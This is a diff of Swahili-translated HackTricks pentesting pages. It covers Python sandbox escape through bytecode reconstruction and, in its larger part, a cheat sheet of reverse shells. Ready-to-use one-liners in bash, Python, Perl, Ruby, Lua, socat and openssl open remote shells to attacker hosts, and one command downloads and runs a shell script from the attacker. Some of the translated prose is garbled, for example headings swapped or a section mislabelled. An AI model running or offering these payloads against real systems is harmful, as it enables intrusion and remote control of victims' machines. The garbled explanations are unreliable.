def __format__(self, format):
|
||||||
|
@ -750,9 +764,9 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa
|
||||||
Ikiwa unataka **kujifunza** kuhusu **bytecode ya python** kwa kina soma chapisho hili **zuri** kuhusu mada hiyo: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
Ikiwa unataka **kujifunza** kuhusu **bytecode ya python** kwa kina soma chapisho hili **zuri** kuhusu mada hiyo: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi ya desturi ambapo bendera** inapatikana na unahitaji kuona **ndani** ya **kazi** ili kuipata.
|
Katika baadhi ya CTFs unaweza kupewa jina la **kazi ya desturi ambapo bendera** inapatikana na unahitaji kuona **ndani** ya **kazi** ili kuiondoa.
|
||||||
|
|
||||||
Hii ndio kazi ya kupekua:
|
Hii ni kazi ya kupekua:
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -787,7 +801,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||||
|
|
||||||
### **Kupata msimbo wa kazi**
|
### **Kupata msimbo wa kazi**
|
||||||
|
|
||||||
**`__code__`** na `func_code`: Unaweza **kupata** hii **sifa** ya kazi ili **kupata kipengee cha msimbo** wa kazi.
|
**`__code__`** na `func_code`: Unaweza **kupata ufikiaji** wa **sifa hii** ya kazi ili **kupata kifaa cha msimbo** wa kazi.
|
||||||
```python
|
```python
|
||||||
# In our current example
|
# In our current example
|
||||||
get_flag.__code__
|
get_flag.__code__
|
||||||
|
@ -875,7 +889,7 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hutaweza kuona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha ofseti ya mizani inayopakiwa.
|
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha mbali ya mizani inayopakiwa.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -899,8 +913,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
```
|
```
|
||||||
## Kukusanya Python
|
## Kukusanya Python
|
||||||
|
|
||||||
Sasa, wacha tuwazie kwamba kwa namna fulani unaweza **kupata habari kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
|
Sasa, wacha tufikirie kwamba kwa namna fulani unaweza **kupata habari kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
|
||||||
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble huwezi **kujua jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_).
|
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_).
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -935,7 +949,7 @@ mydict['__builtins__'] = __builtins__
|
||||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kulingana na toleo la python **parameta** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kwa kukimbia:
|
Kulingana na toleo la python **paramita** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa paramita katika toleo la python unalotumia ni kwa kukimbia:
|
||||||
```
|
```
|
||||||
import types
|
import types
|
||||||
types.CodeType.__doc__
|
types.CodeType.__doc__
|
||||||
|
@ -946,7 +960,7 @@ types.CodeType.__doc__
|
||||||
### Kurekebisha kazi iliyovuja
|
### Kurekebisha kazi iliyovuja
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi **`code_type`** ndizo **utahitaji kuvuja**.
|
Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi ya **`code_type`** ndizo **utakazohitaji kufichua**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
|
@ -960,10 +974,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||||
```
|
```
|
||||||
### Kupita Ulinzi
|
### Kupita Ulinzi
|
||||||
|
|
||||||
Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza mizunguko yote** na kila kitu katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
|
Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** na mizunguko yote katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
|
||||||
Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa **kuunda** **kitu kilichokompiliwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
Hata hivyo, mara kwa mara inaweza kuwa na manufaa **kuunda** **kitu kilichopangwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
||||||
|
|
||||||
Kwa mfano, hebu tuunde na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
|
Kwa mfano, hebu tuunde na kutekeleza kwa mkono kazi ambayo inasoma _./poc.py_:
|
||||||
```python
|
```python
|
||||||
#Locally
|
#Locally
|
||||||
def read():
|
def read():
|
||||||
|
@ -1000,7 +1014,7 @@ f(42)
|
||||||
```
|
```
|
||||||
## Kudecompile Python Iliyokompiliwa
|
## Kudecompile Python Iliyokompiliwa
|
||||||
|
|
||||||
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya python iliyokompiliwa.
|
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya Python iliyokompiliwa.
|
||||||
|
|
||||||
**Angalia mafunzo haya**:
|
**Angalia mafunzo haya**:
|
||||||
|
|
||||||
|
@ -1008,12 +1022,12 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c
|
||||||
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
[.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Mambo Mengine ya Python
|
## Mambo Mbalimbali ya Python
|
||||||
|
|
||||||
### Kuthibitisha
|
### Kudai
|
||||||
|
|
||||||
Python inayotekelezwa na maboresho kwa paramu `-O` itaondoa taarifa za kuthibitisha na nambari yoyote inayotegemea thamani ya **debug**.\
|
Python inayotekelezwa na maboresho kwa parameta `-O` itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya **debug**.\
|
||||||
Hivyo, ukaguzi kama
|
Kwa hivyo, ukaguzi kama
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
try:
|
try:
|
||||||
|
@ -1031,18 +1045,22 @@ print(f"\nNot a Super User!!!\n")
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
***
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,11 +14,19 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
**Ikiwa una maswali kuhusu mabakuli haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
|
**Ikiwa una maswali kuhusu mabakuli haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
|
||||||
|
|
||||||
## TTY Kamili
|
## TTY Kamili
|
||||||
|
|
||||||
**Maradhi unapopata mabakuli ya kurudi**[ **soma ukurasa huu ili kupata TTY kamili**](full-ttys.md)**.**
|
**Maranyingi unapopata bakuli la kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.**
|
||||||
|
|
||||||
## Bash | sh
|
## Bash | sh
|
||||||
```bash
|
```bash
|
||||||
|
@ -47,10 +55,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||||
#### Maelezo ya Shell
|
#### Maelezo ya Shell
|
||||||
|
|
||||||
1. **`bash -i`**: Sehemu hii ya amri inaanza shell ya Bash ya mwingiliano (`-i`).
|
1. **`bash -i`**: Sehemu hii ya amri inaanza shell ya Bash ya mwingiliano (`-i`).
|
||||||
2. **`>&`**: Sehemu hii ya amri ni maelezo ya haraka kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**.
|
2. **`>&`**: Sehemu hii ya amri ni maelezo ya mkato kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**.
|
||||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum inayowakilisha **unganisho la TCP kwa anwani ya IP iliyotajwa na bandari**.
|
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum inayowakilisha **unganisho la TCP kwa anwani ya IP iliyotajwa na bandari**.
|
||||||
* Kwa **kupelekeza mafurushi ya pato na makosa kwenye faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye kompyuta ya mshambuliaji.
|
* Kwa **kupelekeza matokeo na mizunguko ya makosa kwa faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye mashine ya mshambuliaji.
|
||||||
4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingia kawaida (`stdin`) kwa marudio sawa na pato la kawaida (`stdout`)**.
|
4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingiza kawaida (`stdin`) kwa marudio sawa na pato la kawaida (`stdout`)**.
|
||||||
|
|
||||||
### Unda kwenye faili na tekeleza
|
### Unda kwenye faili na tekeleza
|
||||||
```bash
|
```bash
|
||||||
|
@ -59,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||||
```
|
```
|
||||||
## Shell ya Mbele
|
## Shell ya Mbele
|
||||||
|
|
||||||
Wakati unashughulika na udhaifu wa **Utekelezaji wa Kanuni Kwa Mbali (RCE)** ndani ya programu ya wavuti iliyojengwa kwenye Linux, kufanikisha shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kufilta pakiti za kina. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo uliokumbwa kwa ufanisi zaidi.
|
Unaposhughulika na udhaifu wa **Utekelezaji wa Kanuni Kijijini (RCE)** ndani ya programu ya wavuti inayotumia Linux, kufanikisha kupata shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti yenye utata. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha shell ya PTY (Pseudo Terminal) ili kuingiliana na mfumo uliokumbwa na shida kwa ufanisi zaidi.
|
||||||
|
|
||||||
Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana na mazingira lengwa.
|
Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana kwa urahisi na mazingira ya lengo.
|
||||||
|
|
||||||
Kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako lengwa. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao:
|
Kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao:
|
||||||
```python3
|
```python3
|
||||||
import jwt
|
import jwt
|
||||||
import httpx
|
import httpx
|
||||||
|
@ -91,10 +99,9 @@ Na kisha, unaweza kukimbia:
|
||||||
```shell
|
```shell
|
||||||
toboggan -m nix.py -i
|
toboggan -m nix.py -i
|
||||||
```
|
```
|
||||||
Kutumia kabisa kabisa kabisa shell. Unaweza kuongeza `-b` kwa ushirikiano wa Burpsuite na ondoa `-i` kwa kifuniko cha rce cha msingi zaidi.
|
Kutumia kabisa ganda la kuingiliana moja kwa moja. Unaweza kuongeza `-b` kwa ushirikiano wa Burpsuite na kuondoa `-i` kwa ganda la rce la msingi zaidi.
|
||||||
|
|
||||||
|
Njia nyingine ni kutumia utekelezaji wa ganda la mbele la `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||||
Njia nyingine inaweza kuwa kutumia utekelezaji wa shell wa `IppSec` mbele [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
|
||||||
|
|
||||||
Unahitaji tu kurekebisha:
|
Unahitaji tu kurekebisha:
|
||||||
|
|
||||||
|
@ -102,7 +109,7 @@ Unahitaji tu kurekebisha:
|
||||||
* Kiambishi na kielezo cha mzigo wako (ikiwa ipo)
|
* Kiambishi na kielezo cha mzigo wako (ikiwa ipo)
|
||||||
* Jinsi mzigo unavyotumwa (vichwa? data? habari ziada?)
|
* Jinsi mzigo unavyotumwa (vichwa? data? habari ziada?)
|
||||||
|
|
||||||
Kisha, unaweza tu **tuma amri** au hata **tumia amri ya `upgrade`** kupata PTY kamili (kumbuka kuwa mabomba hufanywa kusoma na kuandikwa kwa kuchelewa kwa takriban 1.3s).
|
Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kuwa mabomba hufanyiwa kusoma na kuandika kwa kuchelewa kwa takriban sekunde 1.3).
|
||||||
|
|
||||||
## Netcat
|
## Netcat
|
||||||
```bash
|
```bash
|
||||||
|
@ -140,8 +147,6 @@ Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
|
||||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||||
```
|
```
|
||||||
## Python
|
## Python
|
||||||
|
|
||||||
## Kipande cha Python
|
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||||
|
@ -151,19 +156,23 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
||||||
```
|
```
|
||||||
## Perl
|
## Perl
|
||||||
|
|
||||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shell ya kuingiliana. Inaweza kufanya kazi kama chombo cha kutekeleza amri za mfumo na pia kama lugha ya scripting. Perl inaweza kuwa chaguo nzuri kwa wapenzi wa lugha ya programu kwa sababu ya uwezo wake wa kushughulikia taratibu za mtandao na faili kwa urahisi.
|
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kwa kujenga shellcode. Inatoa zana nyingi za kushughulikia strings na data, na inaweza kuwa chaguo nzuri kwa kuandika shellcode inayoweza kubadilika.
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
```
|
```
|
||||||
## Ruby
|
## Ruby
|
||||||
|
|
||||||
## Kijalidi
|
### Ruby
|
||||||
|
|
||||||
|
Ruby ni lugha ya programu ya kisasa inayotumika sana kwa maendeleo ya wavuti. Inajulikana kwa sintaksia yake rahisi na inayoeleweka, ambayo hufanya iwe chaguo bora kwa watumiaji wa ngazi zote za ujuzi. Ruby inaweza kutumika kwa urahisi kujenga zana za kiotomatiki na programu za mtandao.
|
||||||
```bash
|
```bash
|
||||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
```
|
```
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
|
PHP ni lugha ya programu inayotumika sana kwa maendeleo ya wavuti. Inaweza kutumika kwa kujenga programu za seva zinazoweza kutekeleza amri za mfumo wa uendeshaji. Kwa mfano, unaweza kutumia PHP kutekeleza amri za mfumo wa uendeshaji kama vile kufuta faili, kusoma faili, au hata kuanzisha mchakato mpya kwenye seva.
|
||||||
```php
|
```php
|
||||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||||
|
@ -192,15 +201,13 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
|
||||||
```
|
```
|
||||||
## Lua
|
## Lua
|
||||||
|
|
||||||
## Lua
|
## Kiswahili
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||||
#Windows & Linux
|
#Windows & Linux
|
||||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||||
```
|
```
|
||||||
## NodeJS
|
|
||||||
|
|
||||||
## NodeJS
|
## NodeJS
|
||||||
```javascript
|
```javascript
|
||||||
(function(){
|
(function(){
|
||||||
|
@ -252,7 +259,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||||
```
|
```
|
||||||
Mnufaiki
|
Mnufaika
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
|
@ -270,13 +277,13 @@ victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,
|
||||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
